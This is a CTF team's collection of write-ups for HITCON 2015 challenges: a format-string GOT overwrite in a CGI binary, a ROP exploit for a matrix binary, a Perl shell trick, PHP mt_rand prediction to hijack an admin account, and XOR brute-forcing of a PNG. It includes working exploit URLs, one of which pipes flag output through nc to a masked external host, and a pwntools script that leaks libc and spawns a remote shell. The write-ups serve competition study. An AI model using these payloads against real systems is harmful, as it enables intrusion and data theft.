This challenge was solved by and the write up was written by one of my teammates, vek.

First, we got the correct password by changing the GOT of strlen into puts using a format string vuln, so that puts(password) got called. We did that with the following input:

http://54.92.88.102/cgi-bin/nanana?action=%2507hhx%2515%24hhn%25057hhx%2517%24hhn%25064hhx%2521%24hhn&username=0%10%60&password=2%10%60&job=1%10%60

With the password (“hitconctf2015givemeshell”), we could trigger a function whose first parameter we controlled ( do_job(username) ), so all we had to do was to change do_job’s address to system and username to the desired command, e.g

http://54.92.88.102/cgi-bin/nanana?action=%250192hhx%2515%24hhn&username=%2Fread_flag|nc%20X.X.X.X%2025565&password=hitconctf2015givemeshell&job=H%10%6>

This challenge was solved by and the write up was written by one of my teammates, tukan.

The binary implements matrix multiplication.

By specifying a large matrix size, we can trigger an alloca with the size under our control.

Using this, it is possible to pivot the stack pointer to a higher address.

By properly aligning the stack, the scanf function will then eventually overwrite its own saved frame pointer with one of our matrix element input.

Upon returning from main, this gets into rsp.

We can use this to move the stack pointer into a user-buffer at a static location in .bss.

Once done, with some ROP we leak the address of puts from the GOT, calculate the address of system and spawn a shell.

High quality exploit follows:

from pwn import *
context.update(arch='amd64', os='linux')

def rop(*args):
    return struct.pack('Q' * len(args), *args)

# LIVE = False
LIVE = True

####### LOCAL #######
if not LIVE:
    fn = '/root/sf/hitcon/matrix/matrix-a0e5c5c0a8f05896a7f03d8ed4588027'
    env = os.environ.copy()
    env['LD_PRELOAD'] = '/tools/preeny/x86_64-linux-gnu/dealarm.so:/media/sf_shared/hitcon/matrix/libc-3f6aaa980b58f7c7590dee12d731e099.so.6'
    r = process(fn, env=env)
    print r.proc.pid
    time.sleep(0.8)

####### REMOTE #######
if LIVE:
    r = remote('52.68.53.28', 31337)

num = 0xfffffffe
ret = 0x400e90
poprdiret = 0x0000000000400f03 # pop rdi ; ret
poprdxret = 0x0000000000400f28 # pop rdx ; ret
poprsipopret = 0x0000000000400f01 # pop rsi ; pop r15 ; ret
stdout = 0x0000000000602080
puts_plt = 0x0000000000400590
fflush_plt = 0x00000000004005F0
fflush_bin = 0x0000000000400E66
puts_got = 0x0000000000602018
read_plt = 0x00000000004005C0
rbp = 0x6022a8

print r.sendafter('name', p64(0)*65 + p64(0x602300-40) + p64(ret) + rop(
    poprdiret,
    puts_got,
    puts_plt,
    # poprdiret,
    # stdout,
    # fflush_plt,
    fflush_bin,
    0xabfaad,
    poprdxret,
    0x32,
    poprsipopret,
    rbp+128,
    0x41,
    poprdiret,
    0,
    read_plt,
    poprdiret,
    rbp+128,
    ret
))

print r.sendlineafter('matrix\n', str(num))

iternum = 128

for i in range(2):
    print r.sendlineafter('matrix : ', str(i))
print r.sendlineafter('matrix : ', str(rbp))

leak = r.recv(8)
print len(leak)
print repr(leak[:-1])
puts_libc = struct.unpack('Q', leak[:-1] + '\x00'*2)[0]
print hex(puts_libc)
system = puts_libc - 0x6fe30 + 0x46640
r.send(p64(rbp+128+16) + rop(system) + '/bin/bash')

print r.recvrepeat(0.5)

r.interactive()

This challenge was solved by and the write up was written by one of my teammates, akg.

`$#{~-$.}` -> executes $0 which is "sh\n"
$. is 1
~-1 is 0

This challenge was solved by one of my teammates, hege and me and the write up was written by me.

View the source code of the site:

<!-- Cong that you notice this line, 
          the source code in the index.phps -->

Download the PHP source code: http://52.69.0.204/index.phps

SQL injection is a red herring as every input is escaped properly.

So it should be a mt_rand “vulnerability”.

If we register a new account and call multiple reset calls with our new user then we get a lot of tokens. These tokens should be “unxored” with our IPv4 address, so we can the clean mt_rand() results.

Then if we can predict the new mt_rand() result and send in to verify as admin then we will get the admin password.

The only problem is that there were a lot of players and had to get consecutive mt_rand values. So we used Keep-Alive which solved this problem (we used the same thread, so the internal state of Mersenne Twister is not changes).

Mersenne Twister usually can be calculated backwards, but the problem is PHP throws out the LSB bit, so this won’t work.

On the other hand bruteforcing the seed is difficult as the we dont have the first outputs of the MT generator.

But it turned out that untwister (https://github.com/altf4/untwister) on one of my teammate’s barebone server (with 32 CPUs) can bruteforce the seed in 20 minutes… :)

So I generated the next value and called verify with that value and logged in as admin with the new admin password.

The flag was:

hitcon{howsgiraffesfeeling?no!youonlythinkofyourself}

This challenge was solved by one of my teammates, gym and me and the write up was written by gym.

In this challange we were provided with a flag.puzzle data file and a x86_64 binary called encrypt. After loading the binary into IDA we can see that it “encrypts” a file with a XOR key (received as command line argument) but in an unusual manner. First, it splits the input into 20 equally sized blocks and each block is XORed with the same byte. In the case of the flag file these blocks are 57 bytes long (except the last one).

First, we decoded the first block with all the possible keys and printed the output to check if there was any plain text output or known file header. Scrolling throught the results we spot a PNG header thus we realised that the encoded file was a PNG image.

After this, we made a regex for all the possible PNG headers and brute forced all blocks and searched the output for these headers. This way we managed to decrypt the first, second and the last blocks.

The next step was to find a structure in the png image bytes that we could use to verify if the brute forced data is correct. In the PNG file format before each scanline there is a filter byte with the possible values 0-4. The PNG header told us that the image size is 912x912 and color mode is 0x3 with the bit depth of 1. This meant that a scanline is 114 (912/8) bytes long so each 115th byte (starting with the first) had to be less than four (it turned out fast it should be always the value 0).

So we bruteforced the following blocks inflated the compressed data and checked against the above mentioned property. This way we succesfully decoded the 4th block, however the rest of the block resulted with many false positives.

So we dumped all the uncompressed image data that passed the check into bitmap images and manually selected the correct one (we could automatize this, but it could be checked very easily manually too as the QR code is started to take form line by line).

The xor keys were: 101, 48, 86, 195, 120, 255, 75, 191, 247, 71, 55, 227, 111, 83, 38, 76, 37, 244, 209, 27

With this method we managed to decode the rest of the image, which was a QR code for the flag:

hitcon{qrencode -s 16 -o flag.png -I H --foreground 8F77B5 --background 8F77B4}

Our bruteforcer code was (C#):

static byte[] Deflate(byte[] compressedData)
{
    var msOut = new MemoryStream();
    try
    {
        using (var deflate = new DeflateStream(new MemoryStream(compressedData), CompressionMode.Decompress))
        {
            while (true)
            {
                var c = deflate.ReadByte();
                if (c < 0)
                    break;
                msOut.WriteByte((byte)c);
            }
        }
    }
    catch { }
    return msOut.ToArray();
}
 
static void PuzzLeng()
{
    var rawImageData = File.ReadAllBytes(@"flag.puzzle").Skip(0x60).Take(1025 - 2 - 4).ToArray();

    var strideLen = 1 + 912 / 8;
    var validLen = 912 * strideLen;

    for (int bf = 0; bf < 256; bf++)
    {
        var imgData = rawImageData.ToArray();

        int currIdx = 0;
        for (var i = 0; i < 18; i++)
            imgData[currIdx++] ^= 48;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= 86;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= 195;

        for (var i = 0; i < 57; i++)
            imgData[currIdx++] ^= (byte)bf;
            
        // ...

        var decompr = Deflate(imgData.Take(currIdx).Concat(Enumerable.Repeat((byte)0x00, 1000)).ToArray());
        if(decompr.Length == 0) continue;

        var bmp = new Bitmap(912, 912);
        for (int y = 0; y < 912; y++)
        {
            var strideStart = y * strideLen;
            if (strideStart + strideLen > decompr.Length)
                break;

            if (decompr[strideStart] != 0)
                break;

            for (int x = 0; x < 912; x++)
            {
                var b = decompr[strideStart + 1 + x / 8];
                var bitVal = ((b >> (7 - (x % 8))) & 1) == 1;
                bmp.SetPixel(x, y, bitVal  Color.Red : Color.Black);
            }
        }
       
        bmp.Save(@"puzzleng\img_" + currIdx + "_" + bf + ".png", ImageFormat.Png);
    }
}